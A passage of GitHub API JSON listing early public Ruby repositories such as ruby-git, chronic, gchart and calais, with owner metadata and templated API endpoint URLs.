us","fork":false,"url":"https://api.github.com/repos/jnewland/xhtmlize","forks_url":"https://api.github.com/repos/jnewland/xhtmlize/forks","keys_url":"https://api.github.com/repos/jnewland/xhtmlize/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnewland/xhtmlize/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnewland/xhtmlize/teams","hooks_url":"https://api.github.com/repos/jnewland/xhtmlize/hooks","issue_events_url":"https://api.github.com/repos/jnewland/xhtmlize/issues/events{/number}","events_url":"https://api.github.com/repos/jnewland/xhtmlize/events","assignees_url":"https://api.github.com/repos/jnewland/xhtmlize/assignees{/user}","branches_url":"https://api.github.com/repos/jnewland/xhtmlize/branches{/branch}","tags_url":"https://api.github.com/repos/jnewland/xhtmlize/tags","blobs_url":"https://api.github.com/repos/jnewland/xhtmlize/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnewland/xhtmlize/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnewland/xhtmlize/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnewland/xhtmlize/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnewland/xhtmlize/statuses/{sha}","languages_url":"https://api.github.com/repos/jnewland/xhtmlize/languages","stargazers_url":"https://api.github.com/repos/jnewland/xhtmlize/stargazers","contributors_url":"https://api.github.com/repos/jnewland/xhtmlize/contributors","subscribers_url":"https://api.github.com/repos/jnewland/xhtmlize/subscribers","subscription_url":"https://api.github.com/repos/jnewland/xhtmlize/subscription","commits_url":"https://api.github.com/repos/jnewland/xhtmlize/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnewland/xhtmlize/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnewland/xhtmlize/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnewland/xhtmlize/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnewland/xhtmlize/contents/{+path}","compare_url":"https://api.github.com/repos/jnewland/xhtmlize/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnewland/xhtmlize/merges","archive_url":"https://api.github.com/repos/jnewland/xhtmlize/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnewland/xhtmlize/downloads","issues_url":"https://api.github.com/repos/jnewland/xhtmlize/issues{/number}","pulls_url":"https://api.github.com/repos/jnewland/xhtmlize/pulls{/number}","milestones_url":"https://api.github.com/repos/jnewland/xhtmlize/milestones{/number}","notifications_url":"https://api.github.com/repos/jnewland/xhtmlize/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnewland/xhtmlize/labels{/name}"},{"id":130,"name":"ruby-git","full_name":"schacon/ruby-git","owner":{"login":"schacon","id":70,"avatar_url":"https://2.gravatar.com/avatar/9375a9529679f1b42b567a640d775e7d?d=https%3A%2F%2Fidenticons.github.com%2F7cbbc409ec990f19c78c75bd1e06f215.png","gravatar_id":"9375a9529679f1b42b567a640d775e7d","url":"https://api.github.com/users/schacon","html_url":"https://github.com/schacon","followers_url":"https://api.github.com/users/schacon/followers","following_url":"https://api.github.com/users/schacon/following{/other_user}","gists_url":"https://api.github.com/users/schacon/gists{/gist_id}","starred_url":"https://api.github.com/users/schacon/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/schacon/subscriptions","organizations_url":"https://api.github.com/users/schacon/orgs","repos_url":"https://api.github.com/users/schacon/repos","events_url":"https://api.github.com/users/schacon/events{/privacy}","received_events_url":"https://api.github.com/users/schacon/received_events","type":"User"},"private":false,"html_url":"https://github.com/schacon/ruby-git","description":"Ruby/Git is a Ruby library that can be used to create, read and manipulate Git repositories by wrapping system calls to the git binary.","fork":false,"url":"https://api.github.com/repos/schacon/ruby-git","forks_url":"https://api.github.com/repos/schacon/ruby-git/forks","keys_url":"https://api.github.com/repos/schacon/ruby-git/keys{/key_id}","collaborators_url":"https://api.github.com/repos/schacon/ruby-git/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/schacon/ruby-git/teams","hooks_url":"https://api.github.com/repos/schacon/ruby-git/hooks","issue_events_url":"https://api.github.com/repos/schacon/ruby-git/issues/events{/number}","events_url":"https://api.github.com/repos/schacon/ruby-git/events","assignees_url":"https://api.github.com/repos/schacon/ruby-git/assignees{/user}","branches_url":"https://api.github.com/repos/schacon/ruby-git/branches{/branch}","tags_url":"https://api.github.com/repos/schacon/ruby-git/tags","blobs_url":"https://api.github.com/repos/schacon/ruby-git/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/schacon/ruby-git/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/schacon/ruby-git/git/refs{/sha}","trees_url":"https://api.github.com/repos/schacon/ruby-git/git/trees{/sha}","statuses_url":"https://api.github.com/repos/schacon/ruby-git/statuses/{sha}","languages_url":"https://api.github.com/repos/schacon/ruby-git/languages","stargazers_url":"https://api.github.com/repos/schacon/ruby-git/stargazers","contributors_url":"https://api.github.com/repos/schacon/ruby-git/contributors","subscribers_url":"https://api.github.com/repos/schacon/ruby-git/subscribers","subscription_url":"https://api.github.com/repos/schacon/ruby-git/subscription","commits_url":"https://api.github.com/repos/schacon/ruby-git/commits{/sha}","git_commits_url":"https://api.github.com/repos/schacon/ruby-git/git/commits{/sha}","comments_url":"https://api.github.com/repos/schacon/ruby-git/comments{/number}","issue_comment_url":"https://api.github.com/repos/schacon/ruby-git/issues/comments/{number}","contents_url":"https://api.github.com/repos/schacon/ruby-git/contents/{+path}","compare_url":"https://api.github.com/repos/schacon/ruby-git/compare/{base}...{head}","merges_url":"https://api.github.com/repos/schacon/ruby-git/merges","archive_url":"https://api.github.com/repos/schacon/ruby-git/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/schacon/ruby-git/downloads","issues_url":"https://api.github.com/repos/schacon/ruby-git/issues{/number}","pulls_url":"https://api.github.com/repos/schacon/ruby-git/pulls{/number}","milestones_url":"https://api.github.com/repos/schacon/ruby-git/milestones{/number}","notifications_url":"https://api.github.com/repos/schacon/ruby-git/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/schacon/ruby-git/labels{/name}"},{"id":131,"name":"bmhsearch","full_name":"ezmobius/bmhsearch","owner":{"login":"ezmobius","id":5,"avatar_url":"https://1.gravatar.com/avatar/6a3a6e3da2d97be8df476187ff151f04?d=https%3A%2F%2Fidenticons.github.com%2Fe4da3b7fbbce2345d7772b0674a318d5.png","gravatar_id":"6a3a6e3da2d97be8df476187ff151f04","url":"https://api.github.com/users/ezmobius","html_url":"https://github.com/ezmobius","followers_url":"https://api.github.com/users/ezmobius/followers","following_url":"https://api.github.com/users/ezmobius/following{/other_user}","gists_url":"https://api.github.com/users/ezmobius/gists{/gist_id}","starred_url":"https://api.github.com/users/ezmobius/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ezmobius/subscriptions","organizations_url":"https://api.github.com/users/ezmobius/orgs","repos_url":"https://api.github.com/users/ezmobius/repos","events_url":"https://api.github.com/users/ezmobius/events{/privacy}","received_events_url":"https://api.github.com/users/ezmobius/received_events","type":"User"},"private":false,"html_url":"https://github.com/ezmobius/bmhsearch","description":"Fast string searcher, useful for multi-part post parsing","fork":false,"url":"https://api.github.com/repos/ezmobius/bmhsearch","forks_url":"https://api.github.com/repos/ezmobius/bmhsearch/forks","keys_url":"https://api.github.com/repos/ezmobius/bmhsearch/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ezmobius/bmhsearch/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ezmobius/bmhsearch/teams","hooks_url":"https://api.github.com/repos/ezmobius/bmhsearch/hooks","issue_events_url":"https://api.github.com/repos/ezmobius/bmhsearch/issues/events{/number}","events_url":"https://api.github.com/repos/ezmobius/bmhsearch/events","assignees_url":"https://api.github.com/repos/ezmobius/bmhsearch/assignees{/user}","branches_url":"https://api.github.com/repos/ezmobius/bmhsearch/branches{/branch}","tags_url":"https://api.github.com/repos/ezmobius/bmhsearch/tags","blobs_url":"https://api.github.com/repos/ezmobius/bmhsearch/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ezmobius/bmhsearch/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ezmobius/bmhsearch/git/refs{/sha}","trees_url":"https://api.github.com/repos/ezmobius/bmhsearch/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ezmobius/bmhsearch/statuses/{sha}","languages_url":"https://api.github.com/repos/ezmobius/bmhsearch/languages","stargazers_url":"https://api.github.com/repos/ezmobius/bmhsearch/stargazers","contributors_url":"https://api.github.com/repos/ezmobius/bmhsearch/contributors","subscribers_url":"https://api.github.com/repos/ezmobius/bmhsearch/subscribers","subscription_url":"https://api.github.com/repos/ezmobius/bmhsearch/subscription","commits_url":"https://api.github.com/repos/ezmobius/bmhsearch/commits{/sha}","git_commits_url":"https://api.github.com/repos/ezmobius/bmhsearch/git/commits{/sha}","comments_url":"https://api.github.com/repos/ezmobius/bmhsearch/comments{/number}","issue_comment_url":"https://api.github.com/repos/ezmobius/bmhsearch/issues/comments/{number}","contents_url":"https://api.github.com/repos/ezmobius/bmhsearch/contents/{+path}","compare_url":"https://api.github.com/repos/ezmobius/bmhsearch/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ezmobius/bmhsearch/merges","archive_url":"https://api.github.com/repos/ezmobius/bmhsearch/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ezmobius/bmhsearch/downloads","issues_url":"https://api.github.com/repos/ezmobius/bmhsearch/issues{/number}","pulls_url":"https://api.github.com/repos/ezmobius/bmhsearch/pulls{/number}","milestones_url":"https://api.github.com/repos/ezmobius/bmhsearch/milestones{/number}","notifications_url":"https://api.github.com/repos/ezmobius/bmhsearch/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ezmobius/bmhsearch/labels{/name}"},{"id":137,"name":"mofo","full_name":"uggedal/mofo","owner":{"login":"uggedal","id":71,"avatar_url":"https://1.gravatar.com/avatar/0339e3df937c32000f9e2cf1de04298d?d=https%3A%2F%2Fidenticons.github.com%2Fe2c420d928d4bf8ce0ff2ec19b371514.png","gravatar_id":"0339e3df937c32000f9e2cf1de04298d","url":"https://api.github.com/users/uggedal","html_url":"https://github.com/uggedal","followers_url":"https://api.github.com/users/uggedal/followers","following_url":"https://api.github.com/users/uggedal/following{/other_user}","gists_url":"https://api.github.com/users/uggedal/gists{/gist_id}","starred_url":"https://api.github.com/users/uggedal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/uggedal/subscriptions","organizations_url":"https://api.github.com/users/uggedal/orgs","repos_url":"https://api.github.com/users/uggedal/repos","events_url":"https://api.github.com/users/uggedal/events{/privacy}","received_events_url":"https://api.github.com/users/uggedal/received_events","type":"User"},"private":false,"html_url":"https://github.com/uggedal/mofo","description":"Mofo is a fast and simple microformat parser, based on a concise DSL and Hpricot.","fork":true,"url":"https://api.github.com/repos/uggedal/mofo","forks_url":"https://api.github.com/repos/uggedal/mofo/forks","keys_url":"https://api.github.com/repos/uggedal/mofo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/uggedal/mofo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/uggedal/mofo/teams","hooks_url":"https://api.github.com/repos/uggedal/mofo/hooks","issue_events_url":"https://api.github.com/repos/uggedal/mofo/issues/events{/number}","events_url":"https://api.github.com/repos/uggedal/mofo/events","assignees_url":"https://api.github.com/repos/uggedal/mofo/assignees{/user}","branches_url":"https://api.github.com/repos/uggedal/mofo/branches{/branch}","tags_url":"https://api.github.com/repos/uggedal/mofo/tags","blobs_url":"https://api.github.com/repos/uggedal/mofo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/uggedal/mofo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/uggedal/mofo/git/refs{/sha}","trees_url":"https://api.github.com/repos/uggedal/mofo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/uggedal/mofo/statuses/{sha}","languages_url":"https://api.github.com/repos/uggedal/mofo/languages","stargazers_url":"https://api.github.com/repos/uggedal/mofo/stargazers","contributors_url":"https://api.github.com/repos/uggedal/mofo/contributors","subscribers_url":"https://api.github.com/repos/uggedal/mofo/subscribers","subscription_url":"https://api.github.com/repos/uggedal/mofo/subscription","commits_url":"https://api.github.com/repos/uggedal/mofo/commits{/sha}","git_commits_url":"https://api.github.com/repos/uggedal/mofo/git/commits{/sha}","comments_url":"https://api.github.com/repos/uggedal/mofo/comments{/number}","issue_comment_url":"https://api.github.com/repos/uggedal/mofo/issues/comments/{number}","contents_url":"https://api.github.com/repos/uggedal/mofo/contents/{+path}","compare_url":"https://api.github.com/repos/uggedal/mofo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/uggedal/mofo/merges","archive_url":"https://api.github.com/repos/uggedal/mofo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/uggedal/mofo/downloads","issues_url":"https://api.github.com/repos/uggedal/mofo/issues{/number}","pulls_url":"https://api.github.com/repos/uggedal/mofo/pulls{/number}","milestones_url":"https://api.github.com/repos/uggedal/mofo/milestones{/number}","notifications_url":"https://api.github.com/repos/uggedal/mofo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/uggedal/mofo/labels{/name}"},{"id":139,"name":"simply_versioned","full_name":"mmower/simply_versioned","owner":{"login":"mmower","id":74,"avatar_url":"https://2.gravatar.com/avatar/9d89c1c7a998c1f6f6e3fa9ac1753d29?d=https%3A%2F%2Fidenticons.github.com%2Fad61ab143223efbc24c7d2583be69251.png","gravatar_id":"9d89c1c7a998c1f6f6e3fa9ac1753d29","url":"https://api.github.com/users/mmower","html_url":"https://github.com/mmower","followers_url":"https://api.github.com/users/mmower/followers","following_url":"https://api.github.com/users/mmower/following{/other_user}","gists_url":"https://api.github.com/users/mmower/gists{/gist_id}","starred_url":"https://api.github.com/users/mmower/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mmower/subscriptions","organizations_url":"https://api.github.com/users/mmower/orgs","repos_url":"https://api.github.com/users/mmower/repos","events_url":"https://api.github.com/users/mmower/events{/privacy}","received_events_url":"https://api.github.com/users/mmower/received_events","type":"User"},"private":false,"html_url":"https://github.com/mmower/simply_versioned","description":"A simple, non-invasive, approach to versioning ActiveRecord models","fork":false,"url":"https://api.github.com/repos/mmower/simply_versioned","forks_url":"https://api.github.com/repos/mmower/simply_versioned/forks","keys_url":"https://api.github.com/repos/mmower/simply_versioned/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mmower/simply_versioned/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mmower/simply_versioned/teams","hooks_url":"https://api.github.com/repos/mmower/simply_versioned/hooks","issue_events_url":"https://api.github.com/repos/mmower/simply_versioned/issues/events{/number}","events_url":"https://api.github.com/repos/mmower/simply_versioned/events","assignees_url":"https://api.github.com/repos/mmower/simply_versioned/assignees{/user}","branches_url":"https://api.github.com/repos/mmower/simply_versioned/branches{/branch}","tags_url":"https://api.github.com/repos/mmower/simply_versioned/tags","blobs_url":"https://api.github.com/repos/mmower/simply_versioned/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mmower/simply_versioned/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mmower/simply_versioned/git/refs{/sha}","trees_url":"https://api.github.com/repos/mmower/simply_versioned/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mmower/simply_versioned/statuses/{sha}","languages_url":"https://api.github.com/repos/mmower/simply_versioned/languages","stargazers_url":"https://api.github.com/repos/mmower/simply_versioned/stargazers","contributors_url":"https://api.github.com/repos/mmower/simply_versioned/contributors","subscribers_url":"https://api.github.com/repos/mmower/simply_versioned/subscribers","subscription_url":"https://api.github.com/repos/mmower/simply_versioned/subscription","commits_url":"https://api.github.com/repos/mmower/simply_versioned/commits{/sha}","git_commits_url":"https://api.github.com/repos/mmower/simply_versioned/git/commits{/sha}","comments_url":"https://api.github.com/repos/mmower/simply_versioned/comments{/number}","issue_comment_url":"https://api.github.com/repos/mmower/simply_versioned/issues/comments/{number}","contents_url":"https://api.github.com/repos/mmower/simply_versioned/contents/{+path}","compare_url":"https://api.github.com/repos/mmower/simply_versioned/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mmower/simply_versioned/merges","archive_url":"https://api.github.com/repos/mmower/simply_versioned/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mmower/simply_versioned/downloads","issues_url":"https://api.github.com/repos/mmower/simply_versioned/issues{/number}","pulls_url":"https://api.github.com/repos/mmower/simply_versioned/pulls{/number}","milestones_url":"https://api.github.com/repos/mmower/simply_versioned/milestones{/number}","notifications_url":"https://api.github.com/repos/mmower/simply_versioned/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mmower/simply_versioned/labels{/name}"},{"id":140,"name":"gchart","full_name":"abhay/gchart","owner":{"login":"abhay","id":75,"avatar_url":"https://1.gravatar.com/avatar/012b62cf82e7956ffe8f47086be831de?d=https%3A%2F%2Fidenticons.github.com%2Fd09bf41544a3365a46c9077ebb5e35c3.png","gravatar_id":"012b62cf82e7956ffe8f47086be831de","url":"https://api.github.com/users/abhay","html_url":"https://github.com/abhay","followers_url":"https://api.github.com/users/abhay/followers","following_url":"https://api.github.com/users/abhay/following{/other_user}","gists_url":"https://api.github.com/users/abhay/gists{/gist_id}","starred_url":"https://api.github.com/users/abhay/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/abhay/subscriptions","organizations_url":"https://api.github.com/users/abhay/orgs","repos_url":"https://api.github.com/users/abhay/repos","events_url":"https://api.github.com/users/abhay/events{/privacy}","received_events_url":"https://api.github.com/users/abhay/received_events","type":"User"},"private":false,"html_url":"https://github.com/abhay/gchart","description":"GChart exposes the Google Chart API (http://code.google.com/apis/chart) via a friendly Ruby interface. It can generate the URL for a given chart (for webpage use), or download the generated PNG (for offline use).","fork":false,"url":"https://api.github.com/repos/abhay/gchart","forks_url":"https://api.github.com/repos/abhay/gchart/forks","keys_url":"https://api.github.com/repos/abhay/gchart/keys{/key_id}","collaborators_url":"https://api.github.com/repos/abhay/gchart/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/abhay/gchart/teams","hooks_url":"https://api.github.com/repos/abhay/gchart/hooks","issue_events_url":"https://api.github.com/repos/abhay/gchart/issues/events{/number}","events_url":"https://api.github.com/repos/abhay/gchart/events","assignees_url":"https://api.github.com/repos/abhay/gchart/assignees{/user}","branches_url":"https://api.github.com/repos/abhay/gchart/branches{/branch}","tags_url":"https://api.github.com/repos/abhay/gchart/tags","blobs_url":"https://api.github.com/repos/abhay/gchart/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/abhay/gchart/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/abhay/gchart/git/refs{/sha}","trees_url":"https://api.github.com/repos/abhay/gchart/git/trees{/sha}","statuses_url":"https://api.github.com/repos/abhay/gchart/statuses/{sha}","languages_url":"https://api.github.com/repos/abhay/gchart/languages","stargazers_url":"https://api.github.com/repos/abhay/gchart/stargazers","contributors_url":"https://api.github.com/repos/abhay/gchart/contributors","subscribers_url":"https://api.github.com/repos/abhay/gchart/subscribers","subscription_url":"https://api.github.com/repos/abhay/gchart/subscription","commits_url":"https://api.github.com/repos/abhay/gchart/commits{/sha}","git_commits_url":"https://api.github.com/repos/abhay/gchart/git/commits{/sha}","comments_url":"https://api.github.com/repos/abhay/gchart/comments{/number}","issue_comment_url":"https://api.github.com/repos/abhay/gchart/issues/comments/{number}","contents_url":"https://api.github.com/repos/abhay/gchart/contents/{+path}","compare_url":"https://api.github.com/repos/abhay/gchart/compare/{base}...{head}","merges_url":"https://api.github.com/repos/abhay/gchart/merges","archive_url":"https://api.github.com/repos/abhay/gchart/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/abhay/gchart/downloads","issues_url":"https://api.github.com/repos/abhay/gchart/issues{/number}","pulls_url":"https://api.github.com/repos/abhay/gchart/pulls{/number}","milestones_url":"https://api.github.com/repos/abhay/gchart/milestones{/number}","notifications_url":"https://api.github.com/repos/abhay/gchart/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/abhay/gchart/labels{/name}"},{"id":141,"name":"schemr","full_name":"benburkert/schemr","owner":{"login":"benburkert","id":77,"avatar_url":"https://0.gravatar.com/avatar/4d1c9dad17af98e55cb65b4efce27c42?d=https%3A%2F%2Fidenticons.github.com%2F28dd2c7955ce926456240b2ff0100bde.png","gravatar_id":"4d1c9dad17af98e55cb65b4efce27c42","url":"https://api.github.com/users/benburkert","html_url":"https://github.com/benburkert","followers_url":"https://api.github.com/users/benburkert/followers","following_url":"https://api.github.com/users/benburkert/following{/other_user}","gists_url":"https://api.github.com/users/benburkert/gists{/gist_id}","starred_url":"https://api.github.com/users/benburkert/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benburkert/subscriptions","organizations_url":"https://api.github.com/users/benburkert/orgs","repos_url":"https://api.github.com/users/benburkert/repos","events_url":"https://api.github.com/users/benburkert/events{/privacy}","received_events_url":"https://api.github.com/users/benburkert/received_events","type":"User"},"private":false,"html_url":"https://github.com/benburkert/schemr","description":"A DSL for creating schema documents in ruby","fork":false,"url":"https://api.github.com/repos/benburkert/schemr","forks_url":"https://api.github.com/repos/benburkert/schemr/forks","keys_url":"https://api.github.com/repos/benburkert/schemr/keys{/key_id}","collaborators_url":"https://api.github.com/repos/benburkert/schemr/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/benburkert/schemr/teams","hooks_url":"https://api.github.com/repos/benburkert/schemr/hooks","issue_events_url":"https://api.github.com/repos/benburkert/schemr/issues/events{/number}","events_url":"https://api.github.com/repos/benburkert/schemr/events","assignees_url":"https://api.github.com/repos/benburkert/schemr/assignees{/user}","branches_url":"https://api.github.com/repos/benburkert/schemr/branches{/branch}","tags_url":"https://api.github.com/repos/benburkert/schemr/tags","blobs_url":"https://api.github.com/repos/benburkert/schemr/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/benburkert/schemr/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/benburkert/schemr/git/refs{/sha}","trees_url":"https://api.github.com/repos/benburkert/schemr/git/trees{/sha}","statuses_url":"https://api.github.com/repos/benburkert/schemr/statuses/{sha}","languages_url":"https://api.github.com/repos/benburkert/schemr/languages","stargazers_url":"https://api.github.com/repos/benburkert/schemr/stargazers","contributors_url":"https://api.github.com/repos/benburkert/schemr/contributors","subscribers_url":"https://api.github.com/repos/benburkert/schemr/subscribers","subscription_url":"https://api.github.com/repos/benburkert/schemr/subscription","commits_url":"https://api.github.com/repos/benburkert/schemr/commits{/sha}","git_commits_url":"https://api.github.com/repos/benburkert/schemr/git/commits{/sha}","comments_url":"https://api.github.com/repos/benburkert/schemr/comments{/number}","issue_comment_url":"https://api.github.com/repos/benburkert/schemr/issues/comments/{number}","contents_url":"https://api.github.com/repos/benburkert/schemr/contents/{+path}","compare_url":"https://api.github.com/repos/benburkert/schemr/compare/{base}...{head}","merges_url":"https://api.github.com/repos/benburkert/schemr/merges","archive_url":"https://api.github.com/repos/benburkert/schemr/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/benburkert/schemr/downloads","issues_url":"https://api.github.com/repos/benburkert/schemr/issues{/number}","pulls_url":"https://api.github.com/repos/benburkert/schemr/pulls{/number}","milestones_url":"https://api.github.com/repos/benburkert/schemr/milestones{/number}","notifications_url":"https://api.github.com/repos/benburkert/schemr/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/benburkert/schemr/labels{/name}"},{"id":142,"name":"calais","full_name":"abhay/calais","owner":{"login":"abhay","id":75,"avatar_url":"https://1.gravatar.com/avatar/012b62cf82e7956ffe8f47086be831de?d=https%3A%2F%2Fidenticons.github.com%2Fd09bf41544a3365a46c9077ebb5e35c3.png","gravatar_id":"012b62cf82e7956ffe8f47086be831de","url":"https://api.github.com/users/abhay","html_url":"https://github.com/abhay","followers_url":"https://api.github.com/users/abhay/followers","following_url":"https://api.github.com/users/abhay/following{/other_user}","gists_url":"https://api.github.com/users/abhay/gists{/gist_id}","starred_url":"https://api.github.com/users/abhay/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/abhay/subscriptions","organizations_url":"https://api.github.com/users/abhay/orgs","repos_url":"https://api.github.com/users/abhay/repos","events_url":"https://api.github.com/users/abhay/events{/privacy}","received_events_url":"https://api.github.com/users/abhay/received_events","type":"User"},"private":false,"html_url":"https://github.com/abhay/calais","description":"A Ruby interface to the Open Calais API (http://opencalais.com)","fork":false,"url":"https://api.github.com/repos/abhay/calais","forks_url":"https://api.github.com/repos/abhay/calais/forks","keys_url":"https://api.github.com/repos/abhay/calais/keys{/key_id}","collaborators_url":"https://api.github.com/repos/abhay/calais/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/abhay/calais/teams","hooks_url":"https://api.github.com/repos/abhay/calais/hooks","issue_events_url":"https://api.github.com/repos/abhay/calais/issues/events{/number}","events_url":"https://api.github.com/repos/abhay/calais/events","assignees_url":"https://api.github.com/repos/abhay/calais/assignees{/user}","branches_url":"https://api.github.com/repos/abhay/calais/branches{/branch}","tags_url":"https://api.github.com/repos/abhay/calais/tags","blobs_url":"https://api.github.com/repos/abhay/calais/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/abhay/calais/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/abhay/calais/git/refs{/sha}","trees_url":"https://api.github.com/repos/abhay/calais/git/trees{/sha}","statuses_url":"https://api.github.com/repos/abhay/calais/statuses/{sha}","languages_url":"https://api.github.com/repos/abhay/calais/languages","stargazers_url":"https://api.github.com/repos/abhay/calais/stargazers","contributors_url":"https://api.github.com/repos/abhay/calais/contributors","subscribers_url":"https://api.github.com/repos/abhay/calais/subscribers","subscription_url":"https://api.github.com/repos/abhay/calais/subscription","commits_url":"https://api.github.com/repos/abhay/calais/commits{/sha}","git_commits_url":"https://api.github.com/repos/abhay/calais/git/commits{/sha}","comments_url":"https://api.github.com/repos/abhay/calais/comments{/number}","issue_comment_url":"https://api.github.com/repos/abhay/calais/issues/comments/{number}","contents_url":"https://api.github.com/repos/abhay/calais/contents/{+path}","compare_url":"https://api.github.com/repos/abhay/calais/compare/{base}...{head}","merges_url":"https://api.github.com/repos/abhay/calais/merges","archive_url":"https://api.github.com/repos/abhay/calais/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/abhay/calais/downloads","issues_url":"https://api.github.com/repos/abhay/calais/issues{/number}","pulls_url":"https://api.github.com/repos/abhay/calais/pulls{/number}","milestones_url":"https://api.github.com/repos/abhay/calais/milestones{/number}","notifications_url":"https://api.github.com/repos/abhay/calais/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/abhay/calais/labels{/name}"},{"id":144,"name":"chronic","full_name":"mojombo/chronic","owner":{"login":"mojombo","id":1,"avatar_url":"https://1.gravatar.com/avatar/25c7c18223fb42a4c6ae1c8db6f50f9b?d=https%3A%2F%2Fidenticons.github.com%2Fc4ca4238a0b923820dcc509a6f75849b.png","gravatar_id":"25c7c18223fb42a4c6ae1c8db6f50f9b","url":"https://api.github.com/users/mojombo","html_url":"https://github.com/mojombo","followers_url":"https://api.github.com/users/mojombo/followers","following_url":"https://api.github.com/users/mojombo/following{/other_user}","gists_url":"https://api.github.com/users/mojombo/gists{/gist_id}","starred_url":"https://api.github.com/users/mojombo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mojombo/subscriptions","organizations_url":"https://api.github.com/users/mojombo/orgs","repos_url":"https://api.github.com/users/mojombo/repos","events_url":"https://api.github.com/users/mojombo/events{/privacy}","received_events_url":"https://api.github.com/users/mojombo/received_events","type":"User"},"private":false,"html_url":"https://github.com/mojombo/chronic","description":"Chronic is a pure Ruby natural language date parser.","fork":false,"url":"https://api.github.com/repos/mojombo/chronic","forks_url":"https://api.github.com/repos/mojombo/chronic/forks","keys_url":"https://api.github.com/repos/mojombo/chronic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mojombo/chronic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mojombo/chronic/teams","hooks_url":"https://api.github.com/repos/mojombo/chronic/hooks","issue_events_url":"https://api.github.com/repos/mojombo/chronic/issues/events{/number}","events_url":"https://api.github.com/repos/mojombo/chronic/events","assignees_url":"https://api.github.com/repos/mojombo/chronic/assignees{/user}","branches_url":"https://api.github.com/repos/mojombo/chronic/branches{/branch}","tags_url":"https://api.github.com/repos/mojombo/chronic/tags","blobs_url":"https://api.github.com/repos/mojombo/chronic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mojombo/chronic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mojombo/chronic/git/refs{/sha}","trees_url":"https://api.github.com/repos/mojombo/chronic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mojombo/chronic/statuses/{sha}","languages_url":"https://api.github.com/repos/mojombo/chronic/languages","stargazers_url":"https://api.github.com/repos/mojombo/chronic/stargazers","contributors_url":"https://api.github.com/repos/mojombo/chronic/contributors","subscribers_url":"https://api.github.com/repos/mojombo/chronic/subscribers","subscription_url":"https://api.github.com/repos/mojombo/chronic/subscription","commits_url":"https://api.github.com/repos/mojombo/chronic/commits{/sha}","git_commits_url":"https://api.github.com/repos/mojombo/chronic/git/commits{/sha}","comments_url":"https://api.github.com/repos/mojombo/chronic/comments{/number}","issue_comment_url":"https://api.github.com/repos/mojombo/chronic/issues/comments/{number}","contents_url":"https://api.github.com/repos/mojombo/chronic/contents/{+path}","compare_url":"https://api.github.com/repos/mojombo/chronic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mojombo/chronic/merges","archive_url":"https://api.github.com/repos/mojombo/chronic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mojombo/chronic/downloads","issues_url":"https://api.github.com/repos/mojombo/chronic/issues{/number}","pulls_url":"https://api.github.com/repos/mojombo/chronic/pulls{/number}","milestones_url":"https://api.git